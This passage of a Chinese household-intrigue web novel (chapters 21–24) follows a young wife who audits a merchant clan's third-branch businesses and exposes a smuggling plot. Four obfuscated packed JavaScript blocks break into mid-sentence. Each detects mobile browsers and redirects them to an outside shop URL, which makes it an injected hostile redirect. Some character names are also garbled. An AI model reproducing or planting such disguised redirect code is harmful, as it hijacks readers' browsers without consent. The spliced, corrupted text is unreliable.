祠堂照常祭拜，各房之间必要的走动也依旧维持着体面，只是人人笑容底下，多了几分心照不宣的谨慎与提防。 栖云阁依旧大门紧闭，如同苏府一块刻意被忽略的疮疤，无人轻易提及，却又无处不在。 玖鸢身体不适之说，在初五迎财神这日，总算名正言顺地痊愈了。 她重新开始每日前往柏草堂晨昏定省，去静心苑协助婆婆林氏处理年节后续的琐碎事务。府中上下对待玖鸢的态度，较之年前，又有了微妙的不同。 前些时因玖鸢救治老太太一事，还有查出账目问题，种种之处，使得苏府上下一致对她心存敬畏之心，这一次三房出事，下人们看玖鸢的眼神，多了几分规避，还有几分警觉。 虽说大房长子苏瑾大少爷在苏府当家也有两三年了，但那二年大房长子行事好像没有这么狠绝，为什么大奶奶才嫁入苏家不到一月，便生出这么多事呢。 所以呢，不只是苏家主子们，就连下人们也觉得，从北地来的这个沈家庶女，委实是厉害人物。 也因之，下人们见了这位大奶奶，行礼时腰弯得更深，眼神里那些质疑，完全被一种近乎讨好的恭顺所取代。 这一切变化的根源，玖鸢自然心知肚明，皆因那夜她绝决踏入墨韵斋，与苏瑾之间达成的那场无声交易。 她身为苏家大奶奶，递出了那把足以搅动风云的钥匙，而苏瑾，则默许了玖鸢在这权力格局重塑初期，占据一个相对安全且特殊的位置。 所以她如今有此待遇，也全然是沾了苏家大少爷之光，玖鸢内心还是微微感激着苏瑾的。 这日从静心苑出来，天空又飘起了细碎雪粒子，落在尚未完全融化的旧雪上，沙沙作响。玖鸢拢了拢兜帽，正要踏上回砚澜轩的抄手游廊，却见容三撑着一把油纸伞，静立在前方廊柱旁，似是等候已久。 “大奶奶，”容三躬身行礼，语气恭敬，“瑾爷请您去一趟外书房。” 玖鸢哦了一声，容色微动。 她是有些吃惊的。 自除夕夜后，苏瑾忙于应对府衙那边讯问，安抚各房情绪，接手三房骤然空缺出来的部分产业权柄，几乎未曾在内院露面。此刻突然相召，所为何事？ 不过玖鸢虽然心中有疑问，但面上却淡定自若，她颔首：“有劳带路。” 再次踏入墨韵斋，书房内陈设依旧，只是宽大书案上堆积的文书账册，似乎又高了几分，空气中弥漫墨香与檀香味。 苏瑾正站在一幅悬挂于墙上的巨大舆图前，负手而立。 舆图绘制精细，山川河流、城廓道路清晰可见，其上还以不同颜色的朱笔标记着诸多符号与路线，显是苏家生意遍布天下的脉络。 苏瑾今日只着一身玄色暗纹直身长袍，未系腰带，更显得身姿挺拔，肩背宽阔。听到脚步声，他并未回头，只淡淡道：“来了。” “夫君。”玖鸢敛衽行礼。 苏瑾转过身，目光在玖鸢身上停留一瞬。 玖鸢今日穿着一件雪青色素面锦缎棉裙，外罩同色斗篷，发间只簪一支简单白玉簪子，素净得几乎与这书房沉肃背景融为一体，却偏生那张脸，清绝唯美得让人无法忽视。 “身子可大好了？”他问道，语气听不出什么情绪，仿佛只是例行公事地问候。 “劳夫君挂心，已无大碍。” “嗯。”苏瑾应了一声，踱步回到书案后坐下，指了指下首一张梨花木扶手椅，“坐。” 玖鸢依言坐下，姿态端正，静待他开口。 苏瑾并未立刻说话，而是从案头一堆文书中抽出一本，推到玖鸢面前。 “这是三房名下，原本由唐瑞负责的码头货栈，以及与之关联的三处绸缎庄，两处茶行最新账目与人员名册，你看看。” 玖鸢微微一怔，抬眼看向苏瑾。 苏瑾神色平静，仿佛在交代一件再寻常不过的事情。 苏瑾让她看三房产业账目，这意味着什么，是进一步的试探，还是真正的接纳与委派？ 玖鸢压下心中波澜，伸手接过厚厚册子，并未立刻翻开，只道：“夫君，这些恐非妾身所能承负之事。” 苏瑾端起手边茶盏，呷了一口，目光落在舆图上。 “府中正值多事之秋，用人当不拘一格。你心思缜密，于数字账目上天分不俗，前次锦华轩与何均之事，已足见一斑。如今三房这边乱局初定，千头万绪，母亲一人恐难兼顾，你既已涉足中馈，便该多分担些。” 苏瑾顿了顿，抬眸看玖鸢，眼神深邃：“这些产业，是苏家根基之一，如今蛀虫虽除，却也伤了些元气。需得尽快理清脉络，稳住局面，你，可愿一试？” 可愿一试。 玖鸢握着这本沉甸甸册子，指尖能感受到纸张粗糙的纹理，这不是简单查看账目，而是将一部分实权，真正交到了她手上。 风险与机遇并存，做好了，她沈玖鸢将在苏府真正站稳脚跟，拥有属于自己的力量与话语权。做不好，或是在这过程中触动了某些未被清除的利益网络，那么等待她的，将是比之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711248|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更加凶险的境地。 玖鸢迎上苏瑾目光，那目光里没有逼迫，只有深沉的分寸感，如静水一般的不疾不徐，他在等她自己做出选择。 片刻沉默后，玖鸢缓缓站起身，对着苏瑾，郑重地行了一礼。 “蒙夫君信重，妾身定当竭尽全力，不负所托。” 玖鸢没有丝毫犹豫，也没有推诿，坦然接下了这份沉甸甸的期许，也接下了随之而来的所有明枪暗箭。 玖鸢眸光异常明亮，如同突然而至的星辰，干净又绝然，在苏瑾认识的人当中，是极为少见的。 苏瑾不免就心微微动了一下子。他微微颔首： “如此甚好，若有疑难，可随时来询，或让容三传话。一应人手调度，你可酌情行事。” “是。”玖鸢应下，她知道，这是苏瑾给予她的支持，也是划定的框架。她可以放手去做，但必须在一定规则之内。 玖鸢抱着一沓关乎三房命脉的账册走出墨韵斋时，细雪已然停歇，天色却依旧阴沉。她抬头望了望灰蒙蒙天空，深吸一口冰冷空气，只觉得胸腔里那颗心，跳得沉稳而有力。 她知道，从这一刻起，她不再仅仅是苏府后宅一个需要小心翼翼求存的大奶奶，而是正式成为了苏瑾重整苏家商业版图的一枚棋子，或者说，一位持子之人。 回到砚澜轩，玖鸢立刻屏退左右，将自己关在内室，翻开了那本账册。 密密麻麻的数字，错综复杂的人名，关联往来的记录，如同一个巨大迷宫，展现在玖鸢面前。 这不仅仅是账目，更是三房多年来经营的人脉网络，利益输送通道，甚至可能隐藏着与秦家更深层次的勾结证据。 玖鸢需要时间，需要耐心，更需要可靠人手。 “铃兰，”她唤来心腹婢女，低声吩咐，“你想办法，递个消息给何均，就说他若还想在苏府谋个前程，三日后，让他来见我。”何均熟悉三房旧事，又是账房出身，若能收为己用，将是极大助力。 铃兰神色一凛，立刻点头：“奴婢明白。” 玖鸢又思索片刻，道：“再去打听一下，原先在胡管事手下，或是与唐瑞有过节，能力尚可却又被排挤的那些管事、账房，列个名单给我。” 玖鸢要做的，不仅仅是核对账目，更是要借着苏瑾给予的这把尚方宝剑，在清理三房残余势力同时，建立起属于自己的忠诚可靠班底。 窗外，天色渐暗，砚澜轩内早早掌了灯。 玖鸢伏案疾书，时而凝眉思索，时而提笔勾画，昏黄灯光在她沉静侧颜上跳跃，映出一片坚毅光影。 21. 上位 砚澜轩的书房，如今已成了玖鸢临时理事之所。 窗外残雪未消，寒意凛冽，室内却因炭火充足而暖意融融，空气中弥漫着一股陈旧纸墨气息。 连着几日，玖鸢几乎足不出户，将所有精力都投注在了三房遗留下来的账册与人员名录之上。 玖鸢没有想到，苏瑾这么快就给予了她某种权力，这权力说大不大，说小不小，举足轻重。 无论如何，苏瑾将三房名下管辖的帐目交给她来审核，是说明对她足够信任，她若辜负了这份信任，就是她做人不够讲究。 玖鸢虽说不上有多受宠若惊，但至少内心，有微微震撼的感觉。 另一方面，因着玖鸢的特殊身份，是苏家大少爷内人，苏瑾在苏府权力中心处于居高临下之位，如今又把这么重要一环交付于玖鸢，是等同于将玖鸢置于了风口浪尖。 玖鸢深知，不知有多少双眼睛在暗中盯着她，等着看这位年轻新妇如何处置三房留下的烂摊子，是雷厉风行引来反弹，还是畏首畏尾徒留笑柄。 铃兰联系上了何均，果然在第三日傍晚，何均借着送还一批无关紧要旧档的由头，悄悄来到了砚澜轩。 何均比上次见面时更加瘦削，脸色苍白，不过眼神里却尽是感激之情，还有无数敬畏在里面，他晓得，若不是苏家这位大奶奶从中周旋，他恐是受到牵连，如今怕也是吃官司进了官局里。 也因之，何均觉得自己找到了新主子，这一次站队显然是无比明智之举，在庆幸之余，又多了孤注一掷的决绝。 “小人何均，叩谢大奶奶活命之恩。”何均一进门，便又要跪下。 玖鸢抬手虚扶：“不必多礼，起来说话。” 玖鸢倒显得淡定无比，气度从容，她端坐在那里，眉目之间慧气盈溢，说不出的贞静娴雅，但饶是这样，一股威压之势还是扑面而来。 “何均，我让你来，是想给你一个机会，一个在苏府重新立足的机会。但前提是绝对忠诚，和回馈出你的价值。” 闻言何均身子不由一震，立刻道：“大奶奶但有差遣，小人万死不辞。小人对三房那些见不得光的勾当，知道得虽不全，但也算知根知底，定当知无不言，言无不尽。” 何均还算反应快，立刻就知道苏家大奶奶言下之意，这也令玖鸢不必再多说其他，她微微颔首，示意何均坐下回话。 何均哪里敢坐，依旧站在书房地下，微微躬了身子，等着苏家大奶奶问话。 玖鸢没有急着询问具体的账目问题，而是先让何均将三房名下那几个货栈，绸缎庄，茶行的主要管事，账房乃至得力伙计，其性情、能力、背后可能关系，一一说来。 何均显然早有准备，说起来条理清晰，何人贪得无厌，何人谨慎，何人是三太太赵氏亲信，何人又曾因分赃不均与唐瑞有过龃龉，甚至哪些人与西境秦家来的客商过从甚密，都细细道出。 玖鸢静静听着，偶尔提笔在纸上记下几个关键名字或关联，心中对三房这张盘根错节的关系网，渐渐有了更清晰轮廓。 “码头货栈副管事唐瑞虽已下狱，但他手下有个叫徐?的司库，最是狡猾，许多经手西山货物的具体细节，尤其是那些未曾列明名目的杂货，都是徐?亲自操办，账目上也做得极为隐蔽，多以损耗修补等名目销账。此人好赌，在外头欠了不少印子钱……” 何均压低声音，提供了一个关键信息。 玖鸢听了眸中闪过一凛微光。 西山，这是这本秘密册子里频繁出现的二字，她沉吟片刻，问道： “那些杂货，通常存放在何处，由谁负责看守清点？” 何均垂眉答道： “多半存放在码头货栈最里面的丁字三号仓廪，那里位置偏僻，由唐瑞和徐?心腹轮流看守，等闲人不得靠近。每次货物出入，也多在深夜……” 玖鸢一一将之记下。 问完了人员与流程，玖鸢才将话题引回账目本身。 玖鸢指出了几处与西山货物往来，以及和秦家生丝交易中，数目对不上或是价格明显不合常理的地方，让何均凭记忆补充细节。 何均果然没有让玖鸢失望，不仅印证了她的猜测，还补充了几笔账册上做了手脚，但实际经他手记录在私册上的隐秘交易，其中一笔，赫然提到了废弃兵甲，熔铸后混入寻常铁料。 纵然玖鸢早有心理准备，听到兵甲二字，心头仍是猛地一沉。 私贩军械，这是抄家灭族的大罪，三房胆子未免太大了。 或者说，他们背后的利益，足以让他们铤而走险。 “这些，你可有物证？” 何均犹豫了一下，咬牙道： “小人曾偷偷留下过几张唐瑞命人销毁的原始货单副本，还有一次徐?酒醉后，吹嘘与秦家某人交割一批硬货时，小人恰好在一旁，记下了那人的样貌特征和大概时间地点，东西和记录，都藏在一个稳妥处。” “很好。”玖鸢看着他，依旧是迫人威势，“那些物证，暂且不要动，你如今先回去，装作无事发生，过两日，我会以核对旧账，清点仓廪的名义，调你暂时协理码头货栈账目。届时，你需暗中留意徐?等人动向，尤其是丁字三号仓的动静，但切记，不可打草惊蛇。” “是，小人明白。”何均低首连连应承。 送走何均，夜色已深。 玖鸢独自坐在灯下，将方才所得信息细细梳理，三房与秦家的勾结，远比她想象的更深，涉及利益也更加骇人。 关于这些不知苏瑾知道多少，他眼下清理三房，是为了整顿家风，还是也是为了切断这条过于危险的线？ 玖鸢揉揉眉心，感到一阵疲惫，她不知道自己参与这么深，将来会不会与苏瑾站在对立面，那是她极不愿意也不敢面对之事。 然而开弓没有回头箭，接下来几日，玖鸢依照计划，以雷霆手段开始整顿三房产业。 玖鸢并未大规模换人，而是先从账目和流程入手，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718148|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求各处分号每日报送详尽出入库清单，核对银钱往来，同时以年节盘库为由，派出由大太太林氏那边拨来的相对可靠管事，会同何均等人，开始清点各处仓廪存货。 此举果然引起了不小震动。 一些心中有鬼的管事开始坐立不安，推诿拖延，暗中串联，甚至有人试图往砚澜轩送礼说情，皆被玖鸢不软不硬地挡了回去。 她态度明确，只论公事，不讲私情。 这一日，负责清点码头货栈的管事回来禀报，其他仓廪皆已清点完毕，唯独丁字三号仓，看守的伙计推说钥匙在告假的副管事徐?手中，无法开启。 “徐?告假？”玖鸢放下手中笔，抬眼看向那管事，“所为何事，告假几日？” “回大奶奶，说是感染了风寒，已告假三日了。” 三日，偏偏在开始盘库时候感染风寒，玖鸢心中冷笑，面上却不露声色：“既如此，便等他病愈再说。传我话，丁字三号仓即日起封存，未有我手令，任何人不得靠近，违者重处。” “是。” 管事退下后，玖鸢沉吟片刻，吩咐铃兰： “去前头问问容三，大少爷今日可在府中。若在，便说我有事请教。” 玖鸢需要将丁字三号仓的异常，以及徐?恰好在此刻告假的消息，传递给苏瑾。 这已超出了她目前权责所能处置的范围，背后可能牵扯的，是她也无法预估的风险。 消息递出去后，苏瑾那边并未立刻回复，直到傍晚，容三才亲自来到砚澜轩，送来一个扁平的紫檀木盒。 “大奶奶，少爷说，此物或对您查账有所助益。另外，少爷让小的转告，府衙那边，唐瑞又吐露了些新东西，涉及几位在外的掌柜，少爷这几日需亲自处理，府中诸事，还请大奶奶多费心。” 玖鸢接过木盒，入手微沉。 打开一看，里面并非什么奇珍异宝，而是几本看起来十分陈旧的帐册，封面没有任何标记，以及一叠零散写着些代号和数目的纸条。 玖鸢随手翻开一本账册，里面记录的，赫然是多年前与西山及秦家的一些更为隐秘的银钱往来，货物往来，笔迹与那本秘密册子上的字迹，极为相似。 苏瑾这是在给她提供更深的线索，也是在告诉她，他知道的，远比她想象的更多。 而他暂时无暇分身，意味着他将后方，乃至部分前线决策权，更大幅度地交给了玖鸢。 压力如同潮水般涌来，却也带着一种被全然信任的感动。 玖鸢合上木盒，对容三道：“回复大少爷，玖鸢必不负所托。” 送走容三，玖鸢独自在窗前站了许久。 夜色四合，苏府各处的灯笼次第亮起，在这雪后夜晚，连成一片朦胧光海。 玖鸢知道，真正的较量，或许才刚刚开始，隐藏在秘册之后的身影，与秦家深度勾结的幕后之人，绝不会坐视自己势力被连根拔起。 而她，已然身陷局中，退无可退。 22. 反转 正月十五，上元佳节。 金陵城内火树银花，笙歌彻夜，便是深宅高院的苏府，也在各主要廊亭庭院挂起了各式精巧花灯，透着几分节日喜气。 砚澜轩内，烛火通明。 玖鸢端坐于书案前，面前摊开着苏瑾送来的几本陈旧账册，与零散纸条，还有她这些时日整理出的，关于三房产业人员脉络与账目疑点汇总。 何均提供的线索，与苏瑾给予的旧档相互印证，经过玖鸢严密推理，结果惊人地清晰，也使得苏府人际关系越发复杂。 丁字三号仓竟然封存，告假在家的徐??杳无音信，仿佛人间蒸发。 三太太赵氏那边依旧称病不出，但栖云阁夜间出入的陌生面孔，却比往日频繁了些许。 连带着府中一些原本依附三房，或与三房产业有千丝万缕联系的中下层管事，也显得心神不宁，行事愈发谨慎，或者说，鬼祟。 玖鸢知道，这是暴风雨前的宁静。 对方定是在观望，在试探，也在暗中布局，而她，不能坐以待毙。 “铃兰，”玖鸢唤来心腹，声音低沉而清晰，“去请林嬷嬷来一趟。” 林嬷嬷是大太太林氏陪房，为人稳重，对林氏忠心耿耿，且在府中仆妇间颇有威信，是玖鸢这些时日观察下来，认为可以有限度借力的人选。 林嬷嬷很快到来，神色恭谨： “大奶奶有何吩咐？” 玖鸢屏退左右，只留铃兰在门口守着，这才对林嬷嬷道： “嬷嬷是婆婆身边的老人，见识广，行事稳。如今府中情形，嬷嬷想必也清楚，三房留下的摊子千头万绪，尤以码头货栈那边最为棘手。丁字三号仓迟迟无法开启，管事徐??又恰在此时告假，我心中总觉不安。” “婆婆身子不适，不便过多劳神，我想请嬷嬷明日带几个稳妥可靠的人，以巡查年节守备，防火防灾的名义，再去一趟码头货栈，尤其留意丁字三号仓周边动静，看看有无异常人员往来，或是夜间有何异动。” 玖鸢并未明言怀疑什么，只以不安和巡查守备为由，既给了林嬷嬷行动的正当性，也保留了回旋余地。 林嬷嬷是何等精明之人，立刻明白了玖鸢用意，她沉吟片刻，躬身道： “大奶奶思虑周全，老奴明白，明日一早便去。” 送走林嬷嬷，玖鸢又将何均悄悄唤来，吩咐道： “徐??失踪，恐有变故。你之前提及他好赌，欠下印子钱，可知他常去哪家赌坊，债主又是何人？” 何均忙道：“回大奶奶，小人知道，是南城富贵坊的老板，姓刁，人称刁爷，手底下养着一帮打手，在城南一带颇有些势力。” “很好。”玖鸢眸光一闪，“你想办法，将徐??可能携款潜逃，或是卷入了不得了的是非，即将被官府缉拿的消息，不着痕迹透给那刁爷知道。记住，要让他相信，找到徐??，或许还能追回些赌债，若等官府动手，就血本无归了。” 何均先是一愣，随即恍然大悟，眼中露出钦佩之色：“大奶奶高明，小人这就去办。” 驱狼吞虎，借力打力，那刁爷为了追债，定然会不遗余力地寻找徐??，这比玖鸢自己派人暗中查探，要有效得多，也隐蔽得多。 安排完这两步棋，已是深夜。 玖鸢却毫无睡意，她再次翻开苏瑾送来的旧档，目光凝在其中一页记录上。 上面用朱笔圈出了一个灰衣居士名，旁边标注着几个时间与地点，似乎是与西山货物交接有关，但记录极为简略含糊。 这个灰衣居士，是谁？ 玖鸢总觉得，这个灰衣居士背后，或许隐藏着更关键人物。 正月十六，林嬷嬷带着人去了码头货栈，回来后向玖鸢回话，表面一切正常，但丁字三号仓附近，夜间似乎确有不明身份的马车短暂停留过，只是未能看清细节。 同日，南城那边传来消息，刁爷的人果然开始大肆搜寻徐??下落，动静不小。 正月十七，一个意想不到的消息传来，告假多日的码头货栈副管事徐??，昨夜竟在南城一处隐秘私娼寮外，被一伙不明身份的人打断了双腿，如今昏迷不醒，被扔在了金陵府衙门口。 徐??身边，还散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721671|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落着几张模糊不清，似乎与私贩盐铁有关的货单残页。 消息如同插了翅膀，瞬间传遍苏府，引得人人骇然。 是灭口，是警告，还是栽赃陷害？ 玖鸢闻讯，握着茶杯的手微微一紧。 玖鸢没想到对方下手如此之快，如此之狠。 徐??成了弃子，甚至被用来反将一军，将私贩盐铁的罪名，隐隐扣向正在整顿三房产业的她，或者说，她背后的苏瑾。 好一招釜底抽薪，顺带泼脏水。 “小姐，现在怎么办？”铃兰吓得脸色发白，“外面都在传，说是您逼得太紧，才惹得狗急跳墙……” 玖鸢放下茶杯，面色沉静如水，对方这是要搅浑水，让她和苏瑾陷入被动。 “慌什么。”玖鸢声音不大，却字字冷冽镇定，“是非曲直，自有公论。去前头告诉容三，将徐??被打以及那些残页事情，立刻禀报瑾爷。” 玖鸢相信，苏瑾定然留有后手。 果然，不过半日，局势再次逆转。 先是府衙那边传出消息，经仵作查验，徐??腿伤虽重，但并非致命，且其身上并无挣扎捆绑痕迹，更像是自愿受刑或是苦肉计。 而那些货单残页，经笔迹比对，与徐??平日记录账目的笔迹有明显差异，显是伪造。 紧接着，之前被苏瑾以雷霆手段送入府衙的唐瑞，不知受了何种点拨，竟在堂上翻供，声称之前指控三老爷苏慎元是受刑不过，胡乱攀咬，真正指使他与秦家进行那些隐秘交易，并从中牟取暴利的，是早已被革职的胡管事，以及已然重伤的徐??。 唐瑞甚至还拿出了几封据说是徐??与秦家某位管事往来密信的副本，上面详细提及了如何通过虚报损耗，以次充好等方式，侵吞苏家货款，并利用苏家渠道，夹带私货。 这一下，风向立转。 徐??从可能的受害者，变成了罪魁祸首之一。 而三老爷苏慎元的嫌疑，反而被洗清了大半，虽仍有失察之责，但已不至于伤筋动骨。据闻老太太得知消息后，一直阴沉的脸，终于缓和了几分。 23. 惊喜 玖鸢在砚澜轩听闻这一连串变故，心中对苏瑾的手段更是凛然。 看来苏瑾不仅早有准备，而且能将计就计，利用对方的反击，反过来坐实了徐??等人罪名，将自己和三房苏慎元从致命指控中剥离出来。这份心机与掌控力，着实可怕。 傍晚，苏瑾竟亲自来到了砚澜轩。 他依旧是一身墨色常服，面容带着连日操劳的些许疲惫，但眼神依旧锐利清明。他挥退旁人，只与玖鸢对坐于窗下。 “徐??之事，你处理得不错。”苏瑾开口，第一句话便是肯定，“驱狼吞虎，引蛇出洞，虽略显急切，但时机把握得恰到好处。” 玖鸢微怔，随即明白，她让何均散播消息给刁爷的事，并未瞒过苏瑾。 “妾身僭越了，只是当时情势……”玖鸢微觉惶恐。 “无妨。”苏瑾打断她，语气平淡，“非常之时，行非常之事，你能想到借外力破局，已是难得。”他顿了顿，目光落在玖鸢脸上，带着一丝探究，“你可知，灰衣居士是谁？” 玖鸢心头一跳，抬眸看他：“夫君知晓？” 苏瑾并未直接回答，而是从袖中取出一枚小巧看似普通的铁质令牌，放在桌上。 令牌样式古朴，上面刻着一个模糊兽头图案，背面则是四个篆体的灰衣居士字。 “这是从徐??一处隐秘外宅中搜出的。”苏瑾声音低沉下去，“灰衣居士，是西境秦家蓄养的一支暗卫代称，专司处理一些见不得光的事务。” 秦家暗卫，闻言玖鸢倒吸一口凉气。 如此说来，与三房勾结的，不仅仅是秦家商业势力，甚至动用了这等隐秘力量？那三房在其中扮演的角色，恐怕不仅仅是牟利那么简单！ “那三叔他……”玖鸢忍不住问道。 苏瑾眸中闪过一丝复杂冷光：“三叔或许是被巨大利益蒙蔽了双眼，或许也只是被推到前台的棋子。秦家所图，恐怕远不止钱财。” 苏瑾收起令牌，站起身，走到窗边，望着窗外沉沉夜色。 “徐??倒了，唐瑞翻供，三叔暂时脱困，看似风波暂平，但丁字三号仓里的东西，以及那个灰衣居士，才是关键。对方断尾求生，只会藏得更深。” 苏瑾转过身，目光再次落在玖鸢身上，那目光里，已没有了之前的疏离与刻意分寸，却多了份尊重，似还多了点什么，说不清的感觉。 “接下来的事，会更凶险。你，还要继续吗？” 玖鸢迎着苏瑾目光，没有丝毫犹豫，她站起身，走到他面前，仰头看着对方深邃眼眸，清晰而坚定出声： “开弓没有回头箭，妾身既然选择了这条路，便会一直走下去。” 苏瑾静静地看了玖鸢片刻，缓缓点头： “好，丁字三号仓，我会亲自处理。府内余下的清理整顿，便交予你了，放手去做，一切有我。” 一切有我，简单的四个字，却重于千钧，这是承诺，也是他将背后交付于玖鸢的信任。 玖鸢望着苏瑾离去的挺拔背影，直到他消失在夜色深处，才缓缓收回目光。 她走到书案前，看着摊开的账册与名录，眼底掠过一抹坚执。 从来到苏府那天起，玖鸢便做好了上位者的期许，她只能朝前走，再无回头可能。 而如果止步，先前的努力又算什么，岂不是功亏一簧。 更何况，如今有苏瑾在背后撑腰，不管这话有多少含金量，都值得她朝这个盟友靠拢。 徐??之事总算是尘埃落定。 这一次变故，虽未伤及三房根本，却也是一次半倾巢剿除，将依附在三房产业上最根本蚁穴，尽数荡涤。 苏府恢复了往日秩序，虽然只是表面。 栖云阁依旧闭门谢客，三太太赵氏称病不出，三老爷苏慎元虽暂脱囹圄，却也因御下不严，失察之过被老太太勒令在府中静思己过，手中权柄十去七八，昔日门庭若市的景象一去不返。 而砚澜轩，这个昔日被视为北地弃女暂居的冷清院落，却渐成为苏府内宅另一个仅次于老太太，太太之外的权力层，每日里往来请示回事的管事嬷嬷络绎不绝，虽不及静心苑那般正式，却也自有一番井然有序的忙碌景象。 玖鸢端坐于书房内，处理着各方送来的文书账目。 她并未因苏瑾那句一切有我而有丝毫懈怠，反而愈发勤勉谨慎。 玖鸢知道，信任如同琉璃，珍贵却易碎，苏瑾给予她舞台，她便要唱出一台让人无可挑剔的好戏。 玖鸢以整顿三房遗留产业为由，重新掌定了各处管事权责， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731139|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将采买、核销、仓储等环节分离，互相制约。又借着核查旧账，提拔了几位如何均一般有能力，却长期被压制的账房伙计，这些人背景相对清白。 也因之，玖鸢几乎是顺其自然地，悄然织就了一张属于自己的用人脉络。 玖鸢行事既有雷霆手段，又不乏怀柔策略，恩威并施之下，原本对这位年轻大奶奶心存轻视或观望的下人，渐渐收敛心思，多了几分真正敬畏。 这日，玖鸢正与两位负责绸缎庄事务的管事，商议开春后新货采买事宜，大太太林氏身边婢女前来传话，说是老太太请大奶奶过去一趟。 玖鸢心中微动，整理了一下衣饰，便带着铃兰前往柏草堂。 踏入柏草堂，暖香依旧，只是气氛较之以往少了些许沉滞，多了几分春回苏园的感觉。 老太太依旧端坐罗汉床上，林氏陪坐在下首，只是今日，下首还坐着一位面生嬷嬷，穿着体面的靛蓝色杭绸袄子，头发梳得一丝不苟，面容整肃，眼神锐利，通身透着一股久居人上的精明干练。 “给祖母、婆婆请安。”玖鸢敛衽行礼，姿态恭谨。 老太太微微颔首，目光在玖鸢身上停留片刻，才缓缓开口。 “起来吧，坐。” 老太太指了指那位面生嬷嬷下首的位置，“这位是宫中出来的严嬷嬷，早年曾在尚宫局任职，精于礼仪规制，世家往来。我特意请来府中，日后便由她负责教导你宫中礼仪、以及应对各府诰命夫人往来的规矩。” 玖鸢心中一震，面上却不露声色，依言坐下，对着这位严嬷嬷微微颔首：“有劳严嬷嬷。” 严嬷嬷起身，一丝不苟地回了一礼，声音平板无波： “大奶奶客气，老奴分内之事。”她打量玖鸢的目光，如同匠人审视一块待雕琢璞玉，严格而挑剔。 林氏在一旁开口道： “玖鸢，你如今帮着料理家务，日后难免要与各府女眷走动，严嬷嬷经验丰富，你需用心学习，莫要落了苏家颜面。” 林氏语气平淡，听不出太多情绪，但安排严嬷嬷前来，本身已是一种态度转变，说明林氏已经开始真正将玖鸢视为需要培养，能够代表苏家出面交际的嫡长儿媳。 “是，儿媳定当用心向严嬷嬷请教。”玖鸢温顺应下。 24. 争锋 玖鸢明白，这既是机遇，也是考验，学习宫廷礼仪与高门往来之道，意味着她将更进一步踏入金陵顶级贵妇圈层，拥有更广阔的人脉与信息渠道。 但同时，日后自己一言一行也将受到更严苛考量，任何差错都极有可能被放大，成为攻击苏瑾乃至苏家的把柄。 老太太又教导了玖鸢一些规距，和事上一些该有的章法，约盏茶之久，后来林氏看老太太有些累，便打发玖鸢回去。 玖鸢尽量掩藏起心绪波动，恭谨应是，施了礼退出屋子。 从柏草堂出来，严嬷嬷便随玖鸢一同回了砚澜轩，所谓收人钱财，替人做事，严嬷嬷相当敬业，受了苏家老太太重托，严嬷嬷自是不敢怠慢，即刻便对玖鸢开始了宫闱礼仪教程。 从行走坐卧姿态，到觐见不同品级诰命礼节，再到宴席上位次排列，言谈举止的分寸，甚至品茗赏画，投壶弈棋等雅事中的细微规矩，严嬷嬷都要求得极为严苛，一丝不苟。 玖鸢天资聪颖，记忆力超群，加之在沈家那些年早已练就了察言观色，隐忍克制的本事，学起来竟是飞快。 不过三五日，玖鸢已将基本礼仪规矩掌握得七七八八，举止间自然而然地流露出一种端庄雍容气度，连严嬷嬷那古板面容上，偶尔也会掠过一丝几不可察的赞叹与满意。 这日午后，玖鸢刚学完一些高级宫闱礼仪，正准备歇息片刻，前院却传来消息，道是二少爷苏虞求见。 苏虞？玖鸢微微蹙眉。 这位风流倜傥的二堂弟，自她入府以来，见面次数不多，但每次出现，都带着一种玩世不恭的探究。 此刻前来，所为何事？ 玖鸢略一沉吟，吩咐道：“请二爷在偏厅稍候。” 稍作整理，玖鸢来到偏厅。 苏虞果然等在那里，今日穿着一身雨过天青色的杭绸直裰，外罩月白鹤氅，手持一柄玉骨扇，依旧是一副翩翩贵公子模样，只是眉宇间少了些许往日轻浮，多了几分难以言喻的沉郁。 见到玖鸢，他收起折扇，拱手笑道：“嫂嫂安好，冒昧打扰，还望嫂嫂勿怪。” 